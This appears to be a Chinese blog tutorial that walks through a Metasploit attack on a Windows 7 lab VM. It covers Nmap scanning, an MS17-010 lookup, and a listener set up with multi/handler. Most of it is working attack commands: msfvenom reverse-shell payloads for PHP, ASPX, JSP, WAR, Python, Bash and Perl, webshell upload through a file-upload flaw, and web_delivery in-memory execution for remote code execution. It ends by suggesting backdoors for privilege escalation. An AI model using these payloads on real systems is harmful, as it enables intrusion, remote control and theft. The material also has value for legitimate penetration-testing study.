0%

Metasploit渗透Windows实战

前言:关于什么是Metasploit以及怎么用Metasploit可以转到Kali - 初识Metasploit | 岚曦 ‘ s Blog

测试环境:

  • 攻击机:Kali 2023.1

    • IP : 192.168.237.129
  • 靶机:Windows 7 旗舰版 (内部版本7601)

    • IP : 192.168.237.128

确定攻击目标,收集靶机数据

在任何攻击前,都需要明确此次攻击的目标以及目标的相关信息。通过信息收集可以获得目标的 IP 地址开放端口系统版本开放服务等信息,做好攻击前的信息收集有助于后续的操作。

此次攻击的前提是已知靶机 IP 地址为192.168.237.128,可以使用 Nmap 等工具对靶机的其他信息进行收集。

Metasploit 内自带 Nmap,使用指令:db_nmap -sV -T4 192.168.237.128 扫描靶机,返回结果如下:

可以看到开放的端口有135、139、445以及 RPC 服务的端口,主机名为 WIN-4JCVTB0CI4S,操作系统为 Windows。在目标主机具体IP不明确的情况下可以使用 db_nmap -sP 192.168.237.0/24 对整个网段进行扫描,返回网段内存活的所有主机 IP。

使用参数-sV的情况下,此次扫描整体耗时1分钟,相对来说比较慢。这时可以在获取存活主机 IP后再使用 db_nmap -sS -T4 192.168.237.128 对目标主机的端口进行半开放扫描以加快扫描速度。

Nmap 常用参数及解释:

nmap -sU -p 扫描指定的UDP端口 也可以去掉-P 对主机进行UDP端口扫描

nmap -sT -p 扫描指定的UDP端口 也可以去掉-P 对主机进行TCP端口扫描

nmap -sP 侦测在线主机、扫描MAC

nmap -sL <ip/CIDR地址块> 检测网络内所有主机名称,不对主机端口进行侦测

nmap –sS 使用SYN扫描(-sS),该选项也称为“半开连接”或者“SYN stealth”。nmap发送syn包后等待回应,如果接收SYS/ACK包说明端口开放,如果收到RST包,说明端口关闭;如果没有回应或者回应icmp不可达错误消息,则说明端口被过滤

nmap -O 探测目标主机操作系统版本

获取到目标的 IP , OS , PORT , SERVICE 后就可以开始渗透。

搜索端口漏洞,开启本地监听

通过根据上个阶段获取的开放端口搜索端口存在的漏洞,使用 search 指令进行搜索,用法如下:

假设攻击445端口,445端口最著名的漏洞即“永恒之蓝”漏洞 MS17_010,使用 search ms17_010 即可。

可以看到有多个模块可供使用,包括 exploit(攻击模块),auxiliary(辅助模块)等。对于如何攻击445端口可见:Kali - 初识Metasploit | 岚曦 ‘ s Blog,本文进行的攻击针对目标主机的80端口Web服务(目标主机需开启Web服务,端口不一定为80,视情况而定)。

使用msfvenom创建载荷(payload)

常见参数:

-l, –list列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,……all

-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的

-f, –format < format> 指定输出格式

-e, –encoder指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload

-a, –arch < architecture> 指定payload的目标架构,例如x86 还是 x64 还是 x86_64

-o, –out < path> 指定创建好的payload的存放位置

-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使用 ‘\x0f’、’\x00’

-n, –nopsled < length> 为payload预先指定一个NOP滑动长度

-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小

-i, –iterations < count> 指定payload的编码次数

-c, –add-code < path> 指定一个附加的win32 shellcode文件

-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中

-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行

-v, –var-name < value> 指定一个自定义的变量,以确定输出格式

-t, –timeout从stdin读取有效负载时等待的秒数(默认为30,0表示禁用)

-h,–help 查看帮助选项

–platform < platform> 指定payload的目标平台

例如输入命令 msfvenom -l payloads -a x64 | grep windows 先看下64位windows payload :

选择 windows/meterpreter/reverse_tcp 作为payload(在 msf 中还包含 bind_tcp、reverse_http、bind_tcp,区别如下)

Tips:

reverse_tcp:攻击机设置一个端口(LPORT)和IP(LHOST),Payload在测试机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现测试机已经连接。

bind_tcp:攻击机设置一个端口(LPORT),Payload在测试机执行打开该端口,以便攻击机可以接入。

采用reverse的方法一般较为安全,因为是在测试机连接攻击机,所以一般不会被防火墙发现;而bind在测试机打开端口时很容易被安全软件和防火墙发现。

在生成攻击 payload 之前需要攻击机打开监听器以监听目标主机的上线。使用如下指令:

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 监听ip
set lport 监听端口
run

在执行完 set payload windows/meterpreter/reverse_tcp 后可使用 show options 查看监听器 payload 所需设置的选项,可以看到现在需要设置 LHOST(监听机本地IP),LPORT 也可以设置成其他端口。

设置完成后可以发现已经开始监听(如果下文中的攻击 payload 和监听 payload 不一致,需修改监听 payload 再运行!!)。

确定攻击方式,执行攻击载荷

上传木马文件方式

Web Payload

假设目标主机的WEB服务存在一个文件上传漏洞,可以通过这个漏洞上传木马文件,只要能访问到上传的木马文件就可以拿到 session。此时可以创建Web payload,通过生成web文件再上传到目标主机的方式获取 session。

Web payload有多种生成方式,包括:

  • php
1
msfvenom -p php/meterpreter_reverse_tcp lhost=监听ip lport=监听端口 -f raw -o /root/desktop/shell.php
  • aspx
1
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=监听ip LPORT=监听端口 -f aspx -o shell.aspx
  • jsp
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=监听ip LPORT=监听端口 -f raw > shell.jsp
  • war
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=监听ip LPORT=监听端口 -f war > shell.war

以 php 为例,在攻击机输入对应指令后会生成一个 shell.php,参数 -f raw 表示生成未经处理的格式,-o 表示指定输出路径,注意指令中的 lhost 和 lport 必须和监听器中的 lhost,lport 一致:

扩展:meterpreter_reverse_tcp(stageless) 与 mererpreter/reverse_tcp(stage) 的区别

在 msf 中存在这两种 payload,写法上区别为 “__” 与 “/” ,实际上这两者的区别为 meterpreter_reverse_tcp 包含攻击所需的所有内容,相当于“大马”,容易被发现和拦截,而 mererpreter/reverse_tcp 只为了攻击机和目标主机之间建立连接,后续的攻击动作会传递给 reverse_tcp 进行。

在创建完 php 文件后,攻击机访问目标主机站点,通过存在文件上传漏洞的页面将 php 文件上传上去:

检查目标主机的目录,shell.php 已经被上传上去了,攻击机只要访问到这个文件即可完成session 的建立(这里攻击 payload 为 php/meterpreter_reverse_tcp,需修改监听payload为相同 payload)。

可以看到已经进入了 meterpreter 后渗透模块,输入?查看可以执行的操作:

Scripts Payload

除了 web 文件以外还可以生成脚本文件,包括 python、bash、perl 等。用法和web文件相似:

  • python
1
msfvenom -p python/meterpreter/reverse_tcp LHOST=监听ip LPORT=监听端口 -f raw > shell.py
  • bash
1
msfvenom -p cmd/unix/reverse_bash LHOST=监听ip LPORT=监听端口 -f raw > shell.sh
  • perl
1
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT=监听端口 -f raw > shell.pl

这里就不做展示了,只要目标主机执行到这些脚本即可建立 session。

不上传木马文件方式

上传木马的方法有很大的局限性,首先需要通过漏洞将文件上传到目标主机,还需要目标主机执行,而不上传文件的方式则更好操作,这里运用到 web_delivery 模块,需要目标主机存在远程执行命令漏洞,这个模块不需要依赖文件,而是直接执行在目标主机的内存中,不易被发现。

使用 msfvenom 生成 web_delivery 远程执行代码:

1
2
3
4
5
6
7
8
9
10
11
use exploit/multi/script/web_delivery

set uripath /

set payload php/meterpreter/reverse_tcp

set target 1

set lhost xxx

run

在 set target 时可以使用 show targets 查看可用的 target ,target 需和 payload 类型一致,不需要运行监听器。

在有远程代码执行的主机上执行这段代码即可建立 session。注意:若目标主机未配置 php 的环境变量则无法执行这段代码,可以尝试其他 payload。

以 python payload 为例,假设目标主机的网站存在远程代码执行漏洞,将生成的代码进行执行。

可以看到已经建立 session 了,依然使用 meterpreter 进行后渗透操作,包括查看各种信息(uid、pid、sysinfo 等)、执行系统指令(cd、ls、upload、shutdown 等)和其他操作。

后话

由于本文都是基于 webshell,权限较低,如果想要获得更高的权限做更多的事,可以通过webshell植入后门,再通过后门提权。